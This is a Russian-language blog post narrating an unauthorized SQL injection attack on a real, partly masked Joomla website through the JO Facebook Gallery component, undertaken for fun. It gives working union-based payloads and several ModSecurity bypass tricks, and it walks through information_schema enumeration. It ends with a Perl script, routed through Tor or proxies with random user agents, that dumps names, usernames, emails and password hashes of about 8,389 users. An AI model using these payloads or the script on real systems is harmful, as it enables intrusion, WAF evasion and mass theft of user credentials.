Joomla не много WAF(куча барахла) SQL Injection

Joomla не много WAF(куча барахла) SQL Injection

Life-Hack

Салют Граждане Товарищи!

Граждане с опытом в области "Web-Pentesting" здесь ничего нового или (даже возможно) полезного не увидят (если только почётать), а вот "Новичкам" можно тормознуть и немного заострить своё внимание (возможно напрячься и дочитать до крайнего символа).

Тема теста\кодинга здорово отвлекает от реального мира, отвлекает\расслабляет и успокаивает, ну и вообще порой просто в прикол...

Поэтому время от времени (бывает с разрывом в два-три года) наступает период обострённого желания ковырнуть какой-нибудь сайтик, или хакнуть чью нибудь вафлю и поиграться с хозяином\пользователем этой точки.

Вот и сейчас как раз наступил такой период, появилось не много свободного времени и мене понадобилось потыкать какой-нибудь очередной сайтик, честно - цели как таковой нет, вот просто от делать нечего, вот просто так.

Выбор пал (пальцем в небо тыкнув) на забугорный (хз чё за ...) "сайт" на распространённом движке Joomla!

Админ натыкавший целую кучу всяких дополнений\модулей, мягко говоря дал борща...

Joomscan был несказанно счастлив при виде своей цели и вывел целую уйму информации:

Jooma! Based Firewall Detection Result
======================================
  
[!] A Joomla! RS-Firewall (com_rsfirewall/com_firewall) is detected.
[!] The vulnerability probing may be logged and protected.
  
[!] A Joomla! J-Firewall (com_jfw) is detected.
[!] The vulnerability probing may be logged and protected.
  
[!] A SecureLive Joomla!(mod_securelive/com_securelive) firewall is detected.
[!] The vulnerability probing may be logged and protected.
  
[!] A SecureLive Joomla! firewall is detected.
[!] The vulnerability probing may be logged and protected.
    
[!] FWScript(from firewallscript.com) is likely to be used.
[!] The vulnerability probing may be logged and protected.
    
[!] A Joomla! security scanner (com_joomscan/com_joomlascan) is detected.
[!] It is likely that webmaster routinely checks insecurities.
    
[!] A security scanner (com_securityscanner/com_securityscan) is detected.
  
[!] A Joomla! jSecure Authentication is detected.
[!] You need additional secret key to access /administrator directory
[!] Default is jSecure like /administrator/?jSecure ;)
  
[!] A Joomla! GuardXT Security Component is detected.
[!] It is likely that webmaster routinely checks for insecurities.
  
[!] A Joomla! JoomSuite Defender is detected.
[!] The vulnerability probing may be logged and protected.
    
[!] .htaccess shipped with Joomla! is being deployed for SEO purpose
[!] It contains some defensive mod_rewrite rules
[!] Payloads that contain strings (mosConfig,base64_encode,<script>
    GLOBALS,_REQUEST) wil be responsed with 403.


О да чел, при таком количестве всякого барахла тебя точно ни кто ни хакнет, чел ты в полной безопасности!

Наверное подумал чувак натыкавший модулей, прям до самой попы...

Сам же обратился к https://packetstormsecurity.com/, который по запросу Joomla (https://packetstormsecurity.com/search/?q=joomla) как обычно вывел целую кучу различных направлений, выбор пал на Joomla! Component JO Facebook Gallery v4.5 - SQL Injection https://packetstormsecurity.com/files/141308/Joomla-JO-Facebook-Gallery-4.5-SQL-Injection.html

Всё просто ни сказано просто!

http://www.k***c**d**e**s**i.com/k**2*5/index.php?option=com_jofacebookgallery&view=category&id=1&Itemid=792


Уязвим параметр "id", от сюда и будем плясать...

Банальная кавычка '

index.php?option=com_jofacebookgallery&view=category&id=1'&Itemid=792


И Joomla отвечает

1064
SORRY!

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1 SQL=SELECT * FROM #__jofbpt_category WHERE id=1'
......


Ещё робот на картинке так гармонично смотрится под музон в наушниках, и прям песенка какая-то (тыц-тыц-туц-туц-тыц....)

Дабы не много сократить тыканий, попробуем group by для того что бы узнать количество колонок:

index.php
?option=com_jofacebookgallery
&view=category
&id=1+group+by+50+--+
&Itemid=792


Отвечает:

Unknown column '50' in 'group statement' SQL=SELECT * FROM #__jofbpt_category WHERE id=1 group by 50 --


Тыкаем явно меньшее количество дабы убедится что количество колонок не больше

index.php
?option=com_jofacebookgallery
&view=category
&id=1+group+by+2+--+
&Itemid=792


Отвечает

Access denied. Your IP address is blacklisted. If you feel this is in error please contact your hosting provider's abuse department.


Ну разумеется, создав ни большую цепочку с замыкающим tor для конекта ( всё таки не мультики смотрю, и не новости читаю, в наше то время нужно использовать хоть какие-нибудь средства контрацепции...) меня банит один из установленных модулей.

Перезапуск tor, даёт конект и в ответ видим

Unknown column '2' in 'group statement' SQL=SELECT COUNT(*) FROM #__jofbpt_albums WHERE fb_album_id LIKE '421616681303' AND category_id=1 group by 2 -- LIMIT 1


SELECT COUNT(*) FROM явно указывает что колонок больше, значить двигаемся в сторону увеличения...

index.php
?option=com_jofacebookgallery
&view=category
&id=1+group+by+20+--+
&Itemid=792


ответ 

Unknown column '20' in 'group statement' SQL=SELECT COUNT(*) FROM #__jofbpt_albums WHERE fb_album_id LIKE '421616681303' AND category_id=1 group by 20 -- LIMIT 1


мало

index.php
?option=com_jofacebookgallery
&view=category
&id=1+group+by+30+--+
&Itemid=792


Ответ

Unknown column '30' in 'group statement' SQL=SELECT * FROM #__jofbpt_category WHERE id=1 group by 30 --


много

index.php
?option=com_jofacebookgallery
&view=category
&id=1+group+by+25+--+
&Itemid=792


Много

index.php
?option=com_jofacebookgallery
&view=category
&id=1+group+by+23+--+
&Itemid=792


Много

index.php
?option=com_jofacebookgallery
&view=category
&id=1+group+by+22+--+
&Itemid=792


Мало, но 23 много, значить колонок всё таки 22.

Прикручиваем union select

index.php
?option=com_jofacebookgallery
&view=category
&id=1+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+--+
&Itemid=792


В ответ видим печалькуЖ

Not Acceptable!

An appropriate representation of the requested resource could not be found on this server. This error was generated by Mod_Security.


Q: W.T.F. bro?

A: This is WAF!

Очередной модуль нас просто радует, будет чуток интересней чем казалось...

Посмотрим что именно фильтрует Mod_Security, воткнём просто UNION

index.php
?option=com_jofacebookgallery
&view=category
&id=1+union+--+
&Itemid=792


Ответ

1064
SORRY!

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1 SQL=SELECT * FROM #__jofbpt_category WHERE id=1 UNION --


Добавим select 

index.php
?option=com_jofacebookgallery
&view=category
&id=1+union+select--+
&Itemid=792


Ответ

Not Acceptable!

An appropriate representation of the requested resource could not be found on this server. This error was generated by Mod_Security.


Ага, значить блокирует конструкцию union select, попробуем воткнуть комментарий

index.php
?option=com_jofacebookgallery
&view=category
&id=1+union/**/select--+
&Itemid=792


Ответ

Not Acceptable!

An appropriate representation of the requested resource could not be found on this server. This error was generated by Mod_Security.


Не прокатило!))

Пробуем добавить какую нибудь опцию, дабы разрушить блокируемую конструкцию (all\distinct\distinctrow), подстановка опции "distinct" даёт результат:

index.php
?option=com_jofacebookgallery
&view=category
&id=1+union+distinct+select--+
&Itemid=792
1064
SORRY!

You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1 SQL=SELECT * FROM #__jofbpt_category WHERE id=1 UNION distinct select --


Огонь товарищи, втыкаем количество колонок:

index.php
?option=com_jofacebookgallery
&view=category
&id=1+union+distinct+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+--+
&Itemid=792


И вот он

Not Acceptable!

An appropriate representation of the requested resource could not be found on this server. This error was generated by Mod_Security.


Он - "временный облом"!


Если память не подводит, где то на "ачате", как то читал пост про WAF, там приводились довольно простые методы обхода, так как зачастую тема с комментарием (/**/,/*!exp*/) обламывается, как раз методы описанные в том посте мне запомнились и довольно часто мною практиковались.

Сделаем подстановку "\N", в PHP\Perl\Python\MYSQL\.... это начало новой строки.

index.php
?option=com_jofacebookgallery
&view=category
&id=\Nunion+distinct+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+--+
&Itemid=792


Опа, опачки мы видим страничку, страничку ресурса и на ней те самые циферки

2,4 - будут выводить нам результаты наших запросов.

Ну что давайте посмотрим версию нашей муськи, хотя бы так для приличия, а вообще для того что бы хотя бы знать как с ней общаться.

index.php
?option=com_jofacebookgallery
&view=category
&id=\Nunion+distinct+select+1,version(),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+--+
&Itemid=792


5.5.51-38.2 - Это наш друг, ибо с ним можно договориться!)

Попробуем использовать information_schema, для начала спросим сколько БД имеется (начиная с 5 ветки муськи ( если память не подводит) БД с именем information_schema присутствует по умолчанию, она тоже содержит в себе информацию, но не ту которая нам интересна...).

index.php
?option=com_jofacebookgallery
&view=category
&id=\Nunion+distinct+select+1,count(schema_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+information_schema.schemata+--+
&Itemid=792
Not Acceptable!

An appropriate representation of the requested resource could not be found on this server. This error was generated by Mod_Security.


О да, этот мод прям любимчик и с каждым разом нас всё больше и больше радует!

Скорей всего есть фильтрация information_schema, проверим...

index.php
?option=com_jofacebookgallery
&view=category
&id=\Nunion+distinct+select+1,count(schema_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+--+
&Itemid=792


count(schema_name) - пропускает, добавим from

index.php
?option=com_jofacebookgallery
&view=category
&id=\Nunion+distinct+select+1,count(schema_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+--+
&Itemid=792


Не ругается, добавляем information_schema

index.php
?option=com_jofacebookgallery
&view=category
&id=\Nunion+distinct+select+1,count(schema_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+information_schema+--+
&Itemid=792
Not Acceptable!

An appropriate representation of the requested resource could not be found on this server. This error was generated by Mod_Security.


Да фильтрация information_schema, стоит попробовать исполняемый комментарий, то есть /*!exp*/

index.php
?option=com_jofacebookgallery
&view=category
&id=\Nunion+distinct+select+1,count(schema_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+/*!information_schema.schemata*/+--+
&Itemid=792


Опачки, циферки...

Вообще бывают случаи когда исполняемый комментарий не срабатывает, хз по каким..., но такое имеет месту быть, как раз в таких случаях может помочь функция timestamp, она определяет тип строки, в нашем же случае она просто может помочь обломить фильтр.

index.php
?option=com_jofacebookgallery
&view=category
&id=\Nunion+distinct+select+1,count(schema_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+{f information_schema.schemata }+--+
&Itemid=792


Так же бываются случаи что и timestamp не спасает и в случае конкретно с information_schema.***** можно попробовать 'e'., то есть сломать фильтруемую конструкцию information_schema.schemata = information_schema 10.e.schemata, к примеру вот такой запрос:

index.php?option=com_jofacebookgallery&view=category&id=\Nunion+distinct+select+1,schema_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+{f information_schema 111.e.schemata}+--+&Itemid=792


Так же выполнится без ошибок, плюс обойдёт большее количество WAF.

И так 2 БД имеется, значить одна information_schema по умолчанию, и вторая та в которой содержится вся информация которая будет полезной для нас...

Для вывода имени БД необходимо убрать команду count, а для того что бы вывести по порядку все строки будем использовать limit.

index.php?option=com_jofacebookgallery&view=category&id=\Nunion+distinct+select+1,schema_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+{f information_schema 111.e.schemata}+limit+1,1--+&Itemid=792


Такой запрос выводит нам имя нужной базы данных k***c**d**e**s**ic_jmln1, вот теперь можно выводить имена таблиц (вообже это Joomla и все данные для авторизации храняться в таблице ***_users, *** - это префикс который устанавливается админом при установки движка, и как раз этот префикс нам и нужен, но в принципе лучше иметь полный список таблиц, вдруг будет ещё что то интересное...):

index.php?option=com_jofacebookgallery&view=category&id=\Nunion+distinct+select+1,table_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+{f information_schema.tables}+where+table_schema=0x64625f6e616d65+limit+0,1--+&Itemid=792


Вывод имени самой первой таблицы!

table_name - просим вывести имя таблицы используя доступ через information_schema

where table_schema=0x64625f6e616d65 - указываем что имя таблицы должно выводится из ДБ по имени 0x64625f6e616d65 ( 64625f6e616d65 - это имя БД зашифрованное в шестнацетиричный код, 0x - это указатель на шестнацетиричный код, он необходим для mysql для исполнения шестнацетиричного кода.), обычно указывать имя БД ни к чему, все имена и так выводятся с используемой движком БД, но внашем случае этот указатель просто необходим (Иначе выводятся имена первой БД).

Давайте узнаем сколько всего таблиц в этой БД, для этого используем count

index.php?option=com_jofacebookgallery&view=category&id=\Nunion+distinct+select+1,count(table_name),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+{f information_schema.tables}+where+table_schema=0x64625f6e616d65+limit+0,1--+&Itemid=792


539 ! 

Ни - хихи - хило граждане, да это просто мосчь!

Просто не представляю что творилось у этого чела когда он тыкал такое количество модулей, просто жесть!

Тыкать в ручную все имена таблиц это просто не реально.

Напишем простой скрипт на том же perl, он автоматом всё переберёт для нас, тем более что пишется так скрипт за пять минут и не требует ни каких особых знаний, честно говоря я не знаю perl, но пишу для себя скриптики используя cpan или metacpan как справочник, конечно парой этого не достаточно, но в большинстве случаев этого хватает.

Приступим...

#!/usr/bin/perl
#Можно использовать модуль LWP::Simple для функции get, но можно заюзать и LWP::UserAgent
#LWP::UserAgent - позволяет указать заголовки HTTP(S) запроса, так же позволяет использовать proxy,
# как раз то что нам нужно, для полного счастья можно прикрутить модуль WWW::UserAgent::Random
#он позволит менять заголовок UserAgent в рандомном порядке.
#Подключаем модули
use WWW::UserAgent::Random;
use LWP::UserAgent;
# У кого эти модули не установлены, используем cpan, то есть в терминале cpan WWW::UserAgent::Random
#для удобства сразу нарисуем переменные в которых укажем URL для атаки, proxy который будем юзать,
#файл в который запишем результат ( ибо 539 таблиц )
#и количество таблиц.
#Тем самым в будущем можно будет использовать этот же скрипт указав необходимые данные в переменных.

my $url="http://www.k***c**d**e**s**i.com/k**2*5/index.php
?option=com_jofacebookgallery
&view=category
&id="; # это атакуемый линк, указывать нужно полностью до уязвимого параметра.
my $proxy="socks://proxy:port";# здесь указываем proxy который будем юзать, можно использовать любой в том числе носки, по мне носки лучше(Для юзанья TOR можно указать 'socks://localhost:9050').
my $file='/home/center/k_tables.txt';# Тут полный путь к файлу в котором запишем все имена таблиц
my $numb="539";# Здесь количество таблиц.

for ($xx=0;$xx<$numb;$xx++){ # Оператор for, выполняем действия до достижения указанного условия, в нашем случае пока не выведет все 539 таблиц.
$exploit='\\\\Nunion distinct select+1,concat_ws(table_name,0x43656e74303030,0x43656e74303030),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+{f information_schema.tables}+where+table_schema=0x6b6364657369635f6a6d6c6e31+limit+'.$xx.',1+--+
&Itemid=792';# наш эксплоит которым мы выполняем запросы
#concat_ws(table_name,0x43656e74303030,0x43656e74303030) используем связующий оператор,
# для того что бы приляпать свои разделители, которые в свою очередь упростят парсинг ответа.
# concat_ws - позволяет указывать разделитель при связывании нескольких строк, в качестве этого разделителя мы будем использовать table_name
# Таким образом нам достаточно будет отсечь определённые нами указатели по бокам и получим чистый вывод имени таблицы
#0x43656e74303030 - это как раз и будут наши указатели для отсечения, это "Cent000" зашифрованный в шестнацетиричный код
# В параметре limit будем менять номера строк указав переменную $xx которая будет содержать номер строки.
my $ua = new LWP::UserAgent(agent => rand_ua("windows"));
$ua->proxy([qw(http https)] => $proxy);
my $response = $ua->get($url.$exploit);
$text=$response->decoded_content;
if ($text=~/Cent000/) {
 @sp_text=split("Cent000",$text);  
 $str=@sp_text[1]."\n";
 print $str;
}
$str_all=$str_all.$str;

}
open(my $fh, '>', $file);
print $fh $str_all;
close $fh;
print "готово\n";


Скрипт по сути сама простота, ни чего сложного в нём нет, мб что-то не правильно, мб что-то не красиво\эстетично, главное работает, в остальном....

Я его расписал только в тех местах где необходимо, в остальных случаях думаю и так всё понятно, если нет, то поможет cpan, или metacpan.

Да даже простой справочник perl расскажет всё, стоит только поинтересоваться.

Что то под устал я... ну да ладно продолжим ведь осталось совсем не много.

Вытягиваем имена колонок в указанной таблице, а именно в таблице с именем "w0zk7_users", ибо по идеи именно здесь Joomla хранит авторизационные данные пользователей.

index.php?option=com_jofacebookgallery&view=category&id=\Nunion+distinct+select+1,column_name,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+{f information_schema.columns}+where+table_name=0x77307a6b375f7573657273+limit+0,1--+&Itemid=792


В принципе всё по стандарту, вывод стандартных колонок, по сути здесь можно не озадачиваться, колонки у Joomla стандартные:

id
name
username
email
password
usertype
block
sendEmail
registerDate
lastvisitDate
activation
params
lastResetTime
resetCount


Заляпаем самые интересные для нас name,username,email,password, в один запрос и будем уже выводить строки содержащие логины и пароли....

index.php?option=com_jofacebookgallery&view=category&id=\Nunion+distinct+select+1,concat_ws(0x3a,name,username,email,password),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+w0zk7_users+limit+0,1--+


Опачки и вот они данные админа, посмотрим же сколько всего здесь юзверей

index.php?option=com_jofacebookgallery&view=category&id=\Nunion+distinct+select+1,count(concat_ws(0x3a,name,username,email,password)),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+w0zk7_users+limit+0,1--+


8389 - ну конечно ни айс, но в ручную просто замучаешься, воспользуемся тем же самым скриптом и выдернем всё!

В скрипте необходимо только изменить наш запрос:

$exploit='\Nunion distinct select+1,concat_ws(concat_ws(0x3a,id,name,username,email,password),0x43656e74303030,0x43656e74303030),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22+from+w0zk7_users+limit+'.$xx.',1+--+
&Itemid=792';


И вуаля все строки вытягиваются автоматом, остаётся только не много подождать, можно успеть сварить кофейку, выпить чашку, ещё одну и вот оно, оно очучение того что мы тоже что то можем...

P.S. Все BB коды писал попамяти, хз мб где то проявится кривизна. Источник

Report Page